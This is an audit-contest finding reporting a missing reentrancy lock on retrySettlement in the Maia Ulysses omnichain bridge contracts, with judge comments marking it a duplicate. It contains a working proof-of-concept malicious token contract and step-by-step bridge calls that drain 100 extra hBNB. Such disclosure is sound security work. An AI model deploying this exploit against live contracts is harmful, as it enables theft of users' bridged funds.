"retrySettlement" could be reentered by poisonous underlying token when clearing tokens

[code423n4]

Lines of code

https://github.com/code-423n4/2023-05-maia/blob/54a45beb1428d85999da3f721f923cbf36ee3d35/src/ulysses-omnichain/RootBridgeAgent.sol#L244
https://github.com/code-423n4/2023-05-maia/blob/54a45beb1428d85999da3f721f923cbf36ee3d35/src/ulysses-omnichain/ArbitrumBranchPort.sol#L76-L84

Vulnerability details

Impact

When clearing tokens, _underlyingAddress.safeTransfer is called; however, the lock is missing on retrySettlement, making reentrancy possible.

Proof of Concept

All essential entry points of ulysses omnichain are modified with lock to prevent reentrancy. However, the lock is missing on retrySettlement at RootBridgeAgent.

function retrySettlement(uint32 _settlementNonce, uint128 _remoteExecutionGas) external payable {
    //Update User Gas available.
    if (initialGas == 0) {
        userFeeInfo.depositedGas = uint128(msg.value);
        userFeeInfo.gasToBridgeOut = _remoteExecutionGas;
    }
    //Clear Settlement with updated gas.
    _retrySettlement(_settlementNonce);
}

When clearing tokens, an external call to _underlyingAddress is made. However, _underlyingAddress may be an arbitary contract since token is permissionlessly added, which means it could reenter retrySettlement to receive token multiple times.

function withdraw(address _recipient, address _underlyingAddress, uint256 _deposit)
    external
    override(IBranchPort, BranchPort)
    requiresBridgeAgent
{
    _underlyingAddress.safeTransfer(
        _recipient, _denormalizeDecimals(_deposit, ERC20(_underlyingAddress).decimals())
    );
}

Below are the steps of the attack, starting with 1 BNB on BNB Chain:

1. Create a contract "XIN" on Arbitrum (the root chain).

contract XIN {
    string public name = "xiaoxin";
    string public symbol = "XIN";
    uint8 public decimals = 18;

    address private _virtualAccount;
    RootBridgeAgent private _rootBridgeAgent;

    uint256 private countdown = 0;
    uint256 private nonce = 0;

    constructor(address virtualAccount, address rootBridgeAgent) {
        _virtualAccount = virtualAccount;
        _rootBridgeAgent = RootBridgeAgent(rootBridgeAgent);
    }

    function transfer(address, uint256) external {
        if (countdown == 0) {return;}
        else {
            _rootBridgeAgent.retrySettlement(nonce, 0);
            --countdown;
        }
    }

    function initiate() external {
        require(msg.sender == _virtualAccount);
        countdown = 100;
        nonce = _rootBridgeAgent.settlementNonce();
    }
}

2. addLocalToken for XIN at ArbitrumCoreBranchRouter.
3. callOutSignedAndBridge (on Arbitrum) with _dParams = {hToken: arb-hXIN, token: XIN, amount: 1, deposit: 1} and receive 1 arb-hXIN at virtual account.
4. callOutSignedAndBridge (on BNB Chain) with _dParams = {hToken: bnb-hBNB, token: BNB, amount: 1, deposit: 1} and receive 1 arb-hBNB at virtual account.
5. callOut with params = abi.encode(0x03, [{target: XIN, calldata: abi.encode(selector("initiate()")}], {recipient: attacker, outputTokens: [arb-hXIN, arb-hBNB], amountsOut: [1, 1], depositsOut: [1, 0]}, Arb), initiate() will be called by the virtual account to change safeTransfer into reentrancy mode.
6. retrySettlement is reentered 100 times and attacker receives 101 arb-hBNB.

Tools Used

Manual Review

Recommended Mitigation Steps

Add lock for retrySettlement.

Assessed type

Reentrancy

[c4-judge]

trust1995 marked the issue as duplicate of #492

[c4-judge]

trust1995 marked the issue as satisfactory

[trust1995]

Since both this and #492 specify the same exploitable function and same fix, they shall remain duplicates.